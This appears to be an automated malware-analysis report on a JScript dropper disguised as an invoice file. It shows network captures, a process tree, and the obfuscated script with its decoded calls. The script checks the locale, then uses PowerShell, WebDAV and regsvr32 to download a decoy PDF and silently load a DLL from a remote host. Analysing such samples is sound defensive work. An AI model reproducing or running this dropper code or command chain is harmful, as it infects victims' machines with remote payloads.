Jan 11, 2025 06:08:36.138684034 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 06:08:36.138695955 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 06:08:36.138708115 CET	328	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 06:08:36.143202066 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1440	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:08:37.845060110 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:08:38.670279980 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:08:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:08:31
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js"
Imagebase:	0x7ff61a850000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:08:32
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Imagebase:	0x7ff69ee70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:08:32
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:08:32
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:08:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:08:37
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69ee70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:08:37
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6cbc90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:08:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:08:37
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:08:38
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1620,i,5557146196717324142,13555585375266243724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function udlsddfc() {	udlsddfc() ➔ undefined
1	zkatnglss = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var poxyr = this[ttvuzotbt + mcoccvum + vaecrq + mamcgbtz + suzimjmum + scsnubp + suaowwea + rdapr] ( this[hdvueun + haugqjan + pratzzr + vaecrq + laotto + ttvuzotbt + rdapr][xbfyvaz + vaecrq + suzimjmum + mcoccvum + rdapr + suzimjmum + dpbovpwmt + pegpqkl + uuajvcpmr + suzimjmum + pratzzr + rdapr] ( hdvueun + haugqjan + pratzzr + vaecrq + laotto + ttvuzotbt + rdapr + psszuqc + haugqjan + tungpdt + suzimjmum + qafjflzl + qafjflzl ) [yzvxpfofp + suzimjmum + rttfp + yzvxpfofp + suzimjmum + mcoccvum + jrgrx] ( fidfbu + hpvftvfl + mekdj + wgrurt + sjeqpev + xbfyvaz + ydlesc + yzvxpfofp + yzvxpfofp + mekdj + cetufkz + ybjmxsuop + sjeqpev + ydlesc + haugqjan + mekdj + yzvxpfofp + dkzest + xbfyvaz + uovadv + suaowwea + rdapr + vaecrq + uovadv + qafjflzl + vcshm + rsbprsgt + mcoccvum + suaowwea + suzimjmum + qafjflzl + dkzest + scsnubp + suaowwea + rdapr + suzimjmum + vaecrq + suaowwea + mcoccvum + rdapr + laotto + uovadv + suaowwea + mcoccvum + qafjflzl + dkzest + bvdbn + uovadv + pratzzr + mcoccvum + qafjflzl + suzimjmum ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bpqpyis = 0 ; bpqpyis < zkatnglss[qafjflzl + suzimjmum + suaowwea + rttfp + rdapr + tungpdt] ; ++ bpqpyis )
4	{
5	if ( poxyr == zkatnglss[bpqpyis] )
6	{
7	poxyr = true;
8	break ;
9	}
10	}
11	if ( poxyr !== true )
12	this[hdvueun + haugqjan + pratzzr + vaecrq + laotto + ttvuzotbt + rdapr][jlknqm + ojdltbd + laotto + rdapr] ( );
13	this[hdvueun + haugqjan + pratzzr + vaecrq + laotto + ttvuzotbt + rdapr][xbfyvaz + vaecrq + suzimjmum + mcoccvum + rdapr + suzimjmum + dpbovpwmt + pegpqkl + uuajvcpmr + suzimjmum + pratzzr + rdapr] ( hdvueun + haugqjan + pratzzr + vaecrq + laotto + ttvuzotbt + rdapr + psszuqc + haugqjan + tungpdt + suzimjmum + qafjflzl + qafjflzl ) [vaecrq + ojdltbd + suaowwea] ( pratzzr + mzrwl + jrgrx + vcshm + mlqpzlowm + pratzzr + vcshm + ttvuzotbt + uovadv + rvqxmoxfo + suzimjmum + vaecrq + mamcgbtz + tungpdt + suzimjmum + qafjflzl + qafjflzl + psszuqc + suzimjmum + lhfayppff + suzimjmum + vcshm + ujjmirx + xbfyvaz + uovadv + mzrwl + mzrwl + mcoccvum + suaowwea + jrgrx + vcshm + bmokk + scsnubp + suaowwea + hmjepmq + uovadv + culzygz + suzimjmum + ujjmirx + hdvueun + suzimjmum + pegpqkl + yzvxpfofp + suzimjmum + jqtlvcfc + ojdltbd + suzimjmum + mamcgbtz + rdapr + vcshm + ujjmirx + dpbovpwmt + ojdltbd + rdapr + fxhov + laotto + qafjflzl + suzimjmum + vcshm + goxakpjm + rdapr + suzimjmum + mzrwl + ttvuzotbt + goxakpjm + dkzest + laotto + suaowwea + hmjepmq + uovadv + laotto + pratzzr + suzimjmum + psszuqc + ttvuzotbt + jrgrx + cdsxljmk + vcshm + tungpdt + rdapr + rdapr + ttvuzotbt + rzggx + mlqpzlowm + mlqpzlowm + djlgfmzii + aqsouh + dwlyrvl + psszuqc + djlgfmzii + anmwcf + dwlyrvl + psszuqc + djlgfmzii + psszuqc + uiprrgutp + qxiff + ddqzquwus + mlqpzlowm + laotto + suaowwea + hmjepmq + uovadv + laotto + pratzzr + suzimjmum + psszuqc + ttvuzotbt + tungpdt + ttvuzotbt + bmokk + gssgwo + gssgwo + mamcgbtz + rdapr + mcoccvum + vaecrq + rdapr + vcshm + goxakpjm + rdapr + suzimjmum + mzrwl + ttvuzotbt + goxakpjm + dkzest + laotto + suaowwea + hmjepmq + uovadv + laotto + pratzzr + suzimjmum + psszuqc + ttvuzotbt + jrgrx + cdsxljmk + gssgwo + gssgwo + pratzzr + mzrwl + jrgrx + vcshm + mlqpzlowm + pratzzr + vcshm + suaowwea + suzimjmum + rdapr + vcshm + ojdltbd + mamcgbtz + suzimjmum + vcshm + dkzest + dkzest + djlgfmzii + aqsouh + dwlyrvl + psszuqc + djlgfmzii + anmwcf + dwlyrvl + psszuqc + djlgfmzii + psszuqc + uiprrgutp + qxiff + ddqzquwus + etudmkpef + ojvqomryg + ojvqomryg + ojvqomryg + ojvqomryg + dkzest + jrgrx + mcoccvum + hmjepmq + rvqxmoxfo + rvqxmoxfo + rvqxmoxfo + vaecrq + uovadv + uovadv + rdapr + dkzest + gssgwo + gssgwo + pratzzr + mzrwl + jrgrx + vcshm + mlqpzlowm + pratzzr + vcshm + vaecrq + suzimjmum + rttfp + mamcgbtz + hmjepmq + vaecrq + dwlyrvl + uiprrgutp + vcshm + mlqpzlowm + mamcgbtz + vcshm + dkzest + dkzest + djlgfmzii + aqsouh + dwlyrvl + psszuqc + djlgfmzii + anmwcf + dwlyrvl + psszuqc + djlgfmzii + psszuqc + uiprrgutp + qxiff + ddqzquwus + etudmkpef + ojvqomryg + ojvqomryg + ojvqomryg + ojvqomryg + dkzest + jrgrx + mcoccvum + hmjepmq + rvqxmoxfo + rvqxmoxfo + rvqxmoxfo + vaecrq + uovadv + uovadv + rdapr + dkzest + djlgfmzii + wuzscmro + olsggnjkt + uiprrgutp + ojvqomryg + olsggnjkt + anmwcf + uiprrgutp + anmwcf + djlgfmzii + ojvqomryg + ojvqomryg + ojvqomryg + ojvqomryg + psszuqc + jrgrx + qafjflzl + qafjflzl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll",0,false) ➔ 0
14	}
15	tungpdt = "O";
16	tungpdt = "u";
17	tungpdt = "q";
18	tungpdt = "m";
19	tungpdt = "x";
20	tungpdt = "g";
21	tungpdt = "G";
22	tungpdt = "j";
23	tungpdt = "e";
24	tungpdt = "L";
25	tungpdt = "L";
26	tungpdt = "R";
27	tungpdt = "x";
28	tungpdt = "j";
29	tungpdt = "h";
30	tungpdt = "j";
31	tungpdt = "a";
32	tungpdt = "o";
33	tungpdt = "U";
34	tungpdt = "B";
35	tungpdt = "o";
36	tungpdt = "m";
37	tungpdt = "D";
38	tungpdt = "a";
39	tungpdt = "Q";
40	tungpdt = "H";
41	tungpdt = "h";
42	tungpdt = "b";
43	tungpdt = "U";
44	tungpdt = "h";
45	tungpdt = "G";
46	tungpdt = "O";
47	tungpdt = "q";
48	tungpdt = "u";
49	tungpdt = "l";
50	tungpdt = "f";
51	tungpdt = "j";
52	tungpdt = "h";
53	fxhov = "I";
54	fxhov = "R";
55	fxhov = "G";
56	fxhov = "Q";
57	fxhov = "O";
58	fxhov = "o";
59	fxhov = "v";
60	fxhov = "F";
61	uiprrgutp = "2";
62	ydlesc = "v";
63	ydlesc = "f";
64	ydlesc = "j";
65	ydlesc = "p";
66	ydlesc = "v";
67	ydlesc = "U";
68	gssgwo = "q";
69	gssgwo = "h";
70	gssgwo = "v";
71	gssgwo = "z";
72	gssgwo = "A";
73	gssgwo = "X";
74	gssgwo = "o";
75	gssgwo = "e";
76	gssgwo = "G";
77	gssgwo = "E";
78	gssgwo = "N";
79	gssgwo = "k";
80	gssgwo = "t";
81	gssgwo = "G";
82	gssgwo = "W";
83	gssgwo = "U";
84	gssgwo = "R";
85	gssgwo = "b";
86	gssgwo = "X";
87	gssgwo = "U";
88	gssgwo = "i";
89	gssgwo = "b";
90	gssgwo = "B";
91	gssgwo = "f";
92	gssgwo = "u";
93	gssgwo = "U";
94	gssgwo = "u";
95	gssgwo = "i";
96	gssgwo = "H";
97	gssgwo = "Q";
98	gssgwo = "u";
99	gssgwo = "U";
100	gssgwo = "D";
101	gssgwo = "c";
102	gssgwo = "R";
103	gssgwo = "L";
104	gssgwo = "u";
105	gssgwo = "Z";
106	gssgwo = "k";
107	gssgwo = "A";
108	gssgwo = "E";
109	gssgwo = "O";
110	gssgwo = "&";
111	wuzscmro = "l";
112	wuzscmro = "k";
113	wuzscmro = "M";
114	wuzscmro = "Q";
115	wuzscmro = "g";
116	wuzscmro = "7";
117	mcoccvum = "p";
118	mcoccvum = "G";
119	mcoccvum = "e";
120	mcoccvum = "B";
121	mcoccvum = "t";
122	mcoccvum = "M";
123	mcoccvum = "c";
124	mcoccvum = "m";
125	mcoccvum = "g";
126	mcoccvum = "M";
127	mcoccvum = "u";
128	mcoccvum = "n";
129	mcoccvum = "q";
130	mcoccvum = "y";
131	mcoccvum = "F";
132	mcoccvum = "U";
133	mcoccvum = "E";
134	mcoccvum = "V";
135	mcoccvum = "f";
136	mcoccvum = "t";
137	mcoccvum = "E";
138	mcoccvum = "P";
139	mcoccvum = "D";
140	mcoccvum = "J";
141	mcoccvum = "D";
142	mcoccvum = "U";
143	mcoccvum = "a";
144	hpvftvfl = "e";
145	hpvftvfl = "i";
146	hpvftvfl = "x";
147	hpvftvfl = "P";
148	hpvftvfl = "e";
149	hpvftvfl = "N";
150	hpvftvfl = "v";
151	hpvftvfl = "y";
152	hpvftvfl = "I";
153	hpvftvfl = "Y";
154	hpvftvfl = "Q";
155	hpvftvfl = "P";
156	hpvftvfl = "X";
157	hpvftvfl = "p";
158	hpvftvfl = "s";
159	hpvftvfl = "X";
160	hpvftvfl = "K";
161	uuajvcpmr = "U";
162	uuajvcpmr = "L";
163	uuajvcpmr = "c";
164	uuajvcpmr = "d";
165	uuajvcpmr = "v";
166	uuajvcpmr = "G";
167	uuajvcpmr = "N";
168	uuajvcpmr = "J";
169	uuajvcpmr = "x";
170	uuajvcpmr = "m";
171	uuajvcpmr = "O";
172	uuajvcpmr = "s";
173	uuajvcpmr = "G";
174	uuajvcpmr = "r";
175	uuajvcpmr = "U";
176	uuajvcpmr = "E";
177	uuajvcpmr = "v";
178	uuajvcpmr = "d";
179	uuajvcpmr = "o";
180	uuajvcpmr = "i";
181	uuajvcpmr = "Y";
182	uuajvcpmr = "T";
183	uuajvcpmr = "j";
184	vcshm = "T";
185	vcshm = "m";
186	vcshm = "Q";
187	vcshm = "J";
188	vcshm = "z";
189	vcshm = "r";
190	vcshm = "n";
191	vcshm = "p";
192	vcshm = "G";
193	vcshm = "F";
194	vcshm = "X";
195	vcshm = "B";
196	vcshm = "f";
197	vcshm = "Q";
198	vcshm = "V";
199	vcshm = "m";
200	vcshm = "t";
201	vcshm = "O";
202	vcshm = "F";
203	vcshm = "k";
204	vcshm = "x";
205	vcshm = " ";
206	ddqzquwus = "5";
207	goxakpjm = "x";
208	goxakpjm = "F";
209	goxakpjm = "N";
210	goxakpjm = "g";
211	goxakpjm = "c";
212	goxakpjm = "J";
213	goxakpjm = "v";
214	goxakpjm = "D";
215	goxakpjm = "J";
216	goxakpjm = "E";
217	goxakpjm = "Q";
218	goxakpjm = "A";
219	goxakpjm = "n";
220	goxakpjm = "P";
221	goxakpjm = "W";
222	goxakpjm = "K";
223	goxakpjm = "B";
224	goxakpjm = "q";
225	goxakpjm = "l";
226	goxakpjm = "u";
227	goxakpjm = "%";
228	bmokk = "e";
229	bmokk = "C";
230	bmokk = "N";
231	bmokk = "t";
232	bmokk = "c";
233	bmokk = "B";
234	bmokk = "j";
235	bmokk = "H";
236	bmokk = "p";
237	bmokk = "Q";
238	bmokk = "w";
239	bmokk = "k";
240	bmokk = "x";
241	bmokk = "B";
242	bmokk = "W";
243	bmokk = "V";
244	bmokk = "Z";
245	bmokk = "Z";
246	bmokk = "N";
247	bmokk = "A";
248	bmokk = "l";
249	bmokk = "x";
250	bmokk = "P";
251	bmokk = "R";
252	bmokk = "U";
253	bmokk = "\"";
254	laotto = "p";
255	laotto = "I";
256	laotto = "x";
257	laotto = "l";
258	laotto = "N";
259	laotto = "j";
260	laotto = "s";
261	laotto = "J";
262	laotto = "I";
263	laotto = "d";
264	laotto = "i";
265	jqtlvcfc = "S";
266	jqtlvcfc = "c";
267	jqtlvcfc = "g";
268	jqtlvcfc = "u";
269	jqtlvcfc = "p";
270	jqtlvcfc = "x";
271	jqtlvcfc = "z";
272	jqtlvcfc = "b";
273	jqtlvcfc = "o";
274	jqtlvcfc = "O";
275	jqtlvcfc = "t";
276	jqtlvcfc = "M";
277	jqtlvcfc = "O";
278	jqtlvcfc = "O";
279	jqtlvcfc = "w";
280	jqtlvcfc = "N";
281	jqtlvcfc = "c";
282	jqtlvcfc = "l";
283	jqtlvcfc = "e";
284	jqtlvcfc = "w";
285	jqtlvcfc = "R";
286	jqtlvcfc = "d";
287	jqtlvcfc = "G";
288	jqtlvcfc = "b";
289	jqtlvcfc = "h";
290	jqtlvcfc = "p";
291	jqtlvcfc = "c";
292	jqtlvcfc = "x";
293	jqtlvcfc = "K";
294	jqtlvcfc = "z";
295	jqtlvcfc = "q";
296	fidfbu = "b";
297	fidfbu = "W";
298	fidfbu = "q";
299	fidfbu = "y";
300	fidfbu = "w";
301	fidfbu = "w";
302	fidfbu = "k";
303	fidfbu = "A";
304	fidfbu = "K";
305	fidfbu = "O";
306	fidfbu = "A";
307	fidfbu = "H";
308	anmwcf = "n";
309	anmwcf = "Q";
310	anmwcf = "A";
311	anmwcf = "O";
312	anmwcf = "X";
313	anmwcf = "Z";
314	anmwcf = "e";
315	anmwcf = "k";
316	anmwcf = "T";
317	anmwcf = "x";
318	anmwcf = "q";
319	anmwcf = "x";
320	anmwcf = "w";
321	anmwcf = "U";
322	anmwcf = "x";
323	anmwcf = "V";
324	anmwcf = "U";
325	anmwcf = "c";
326	anmwcf = "f";
327	anmwcf = "H";
328	anmwcf = "m";
329	anmwcf = "r";
330	anmwcf = "H";
331	anmwcf = "M";
332	anmwcf = "b";
333	anmwcf = "b";
334	anmwcf = "j";
335	anmwcf = "z";
336	anmwcf = "k";
337	anmwcf = "Q";
338	anmwcf = "K";
339	anmwcf = "L";
340	anmwcf = "e";
341	anmwcf = "q";
342	anmwcf = "J";
343	anmwcf = "O";
344	anmwcf = "P";
345	anmwcf = "X";
346	anmwcf = "D";
347	anmwcf = "i";
348	anmwcf = "Y";
349	anmwcf = "I";
350	anmwcf = "X";
351	anmwcf = "F";
352	anmwcf = "4";
353	mlqpzlowm = "K";
354	mlqpzlowm = "h";
355	mlqpzlowm = "O";
356	mlqpzlowm = "n";
357	mlqpzlowm = "D";
358	mlqpzlowm = "q";
359	mlqpzlowm = "Z";
360	mlqpzlowm = "B";
361	mlqpzlowm = "b";
362	mlqpzlowm = "i";
363	mlqpzlowm = "c";
364	mlqpzlowm = "j";
365	mlqpzlowm = "G";
366	mlqpzlowm = "M";
367	mlqpzlowm = "K";
368	mlqpzlowm = "V";
369	mlqpzlowm = "h";
370	mlqpzlowm = "J";
371	mlqpzlowm = "B";
372	mlqpzlowm = "F";
373	mlqpzlowm = "r";
374	mlqpzlowm = "D";
375	mlqpzlowm = "s";
376	mlqpzlowm = "x";
377	mlqpzlowm = "G";
378	mlqpzlowm = "W";
379	mlqpzlowm = "K";
380	mlqpzlowm = "w";
381	mlqpzlowm = "q";
382	mlqpzlowm = "K";
383	mlqpzlowm = "y";
384	mlqpzlowm = "D";
385	mlqpzlowm = "/";
386	qxiff = "H";
387	qxiff = "u";
388	qxiff = "Q";
389	qxiff = "A";
390	qxiff = "W";
391	qxiff = "e";
392	qxiff = "r";
393	qxiff = "x";
394	qxiff = "0";
395	yzvxpfofp = "p";
396	yzvxpfofp = "n";
397	yzvxpfofp = "h";
398	yzvxpfofp = "w";
399	yzvxpfofp = "j";
400	yzvxpfofp = "R";
401	rsbprsgt = "T";
402	rsbprsgt = "y";
403	rsbprsgt = "C";
404	rsbprsgt = "N";
405	rsbprsgt = "H";
406	rsbprsgt = "X";
407	rsbprsgt = "b";
408	rsbprsgt = "t";
409	rsbprsgt = "a";
410	rsbprsgt = "M";
411	rsbprsgt = "D";
412	rsbprsgt = "Y";
413	rsbprsgt = "y";
414	rsbprsgt = "G";
415	rsbprsgt = "M";
416	rsbprsgt = "I";
417	rsbprsgt = "K";
418	rsbprsgt = "Y";
419	rsbprsgt = "D";
420	rsbprsgt = "o";
421	rsbprsgt = "K";
422	rsbprsgt = "Z";
423	rsbprsgt = "h";
424	rsbprsgt = "v";
425	rsbprsgt = "i";
426	rsbprsgt = "S";
427	rsbprsgt = "y";
428	rsbprsgt = "m";
429	rsbprsgt = "c";
430	rsbprsgt = "S";
431	rsbprsgt = "x";
432	rsbprsgt = "i";
433	rsbprsgt = "Y";
434	rsbprsgt = "k";
435	rsbprsgt = "l";
436	rsbprsgt = "A";
437	rsbprsgt = "N";
438	rsbprsgt = "p";
439	rsbprsgt = "P";
440	scsnubp = "E";
441	scsnubp = "m";
442	scsnubp = "e";
443	scsnubp = "I";
444	scsnubp = "P";
445	scsnubp = "z";
446	scsnubp = "f";
447	scsnubp = "j";
448	scsnubp = "k";
449	scsnubp = "r";
450	scsnubp = "b";
451	scsnubp = "i";
452	scsnubp = "E";
453	scsnubp = "Z";
454	scsnubp = "i";
455	scsnubp = "W";
456	scsnubp = "T";
457	scsnubp = "C";
458	scsnubp = "U";
459	scsnubp = "I";
460	scsnubp = "s";
461	scsnubp = "C";
462	scsnubp = "H";
463	scsnubp = "n";
464	scsnubp = "P";
465	scsnubp = "X";
466	scsnubp = "I";
467	scsnubp = "L";
468	scsnubp = "Y";
469	scsnubp = "I";
470	cdsxljmk = "p";
471	cdsxljmk = "o";
472	cdsxljmk = "l";
473	cdsxljmk = "M";
474	cdsxljmk = "m";
475	cdsxljmk = "m";
476	cdsxljmk = "O";
477	cdsxljmk = "u";
478	cdsxljmk = "V";
479	cdsxljmk = "D";
480	cdsxljmk = "n";
481	cdsxljmk = "N";
482	cdsxljmk = "p";
483	cdsxljmk = "Z";
484	cdsxljmk = "h";
485	cdsxljmk = "G";
486	cdsxljmk = "H";
487	cdsxljmk = "t";
488	cdsxljmk = "s";
489	cdsxljmk = "Q";
490	cdsxljmk = "o";
491	cdsxljmk = "D";
492	cdsxljmk = "i";
493	cdsxljmk = "u";
494	cdsxljmk = "m";
495	cdsxljmk = "u";
496	cdsxljmk = "G";
497	cdsxljmk = "v";
498	cdsxljmk = "p";
499	cdsxljmk = "L";
500	cdsxljmk = "m";
501	cdsxljmk = "u";
502	cdsxljmk = "f";
503	cdsxljmk = "t";
504	cdsxljmk = "W";
505	cdsxljmk = "f";
506	suaowwea = "n";
507	wgrurt = "p";
508	wgrurt = "I";
509	wgrurt = "O";
510	wgrurt = "e";
511	wgrurt = "M";
512	wgrurt = "i";
513	wgrurt = "O";
514	wgrurt = "A";
515	wgrurt = "e";
516	wgrurt = "E";
517	wgrurt = "n";
518	wgrurt = "h";
519	wgrurt = "Z";
520	wgrurt = "b";
521	wgrurt = "Y";
522	lhfayppff = "p";
523	lhfayppff = "s";
524	lhfayppff = "V";
525	lhfayppff = "g";
526	lhfayppff = "F";
527	lhfayppff = "v";
528	lhfayppff = "Q";
529	lhfayppff = "y";
530	lhfayppff = "d";
531	lhfayppff = "t";
532	lhfayppff = "v";
533	lhfayppff = "D";
534	lhfayppff = "t";
535	lhfayppff = "P";
536	lhfayppff = "s";
537	lhfayppff = "b";
538	lhfayppff = "i";
539	lhfayppff = "D";
540	lhfayppff = "C";
541	lhfayppff = "x";
542	mzrwl = "M";
543	mzrwl = "O";
544	mzrwl = "z";
545	mzrwl = "p";
546	mzrwl = "w";
547	mzrwl = "V";
548	mzrwl = "t";
549	mzrwl = "c";
550	mzrwl = "n";
551	mzrwl = "o";
552	mzrwl = "g";
553	mzrwl = "g";
554	mzrwl = "i";
555	mzrwl = "W";
556	mzrwl = "K";
557	mzrwl = "n";
558	mzrwl = "F";
559	mzrwl = "x";
560	mzrwl = "k";
561	mzrwl = "O";
562	mzrwl = "M";
563	mzrwl = "j";
564	mzrwl = "i";
565	mzrwl = "L";
566	mzrwl = "h";
567	mzrwl = "t";
568	mzrwl = "r";
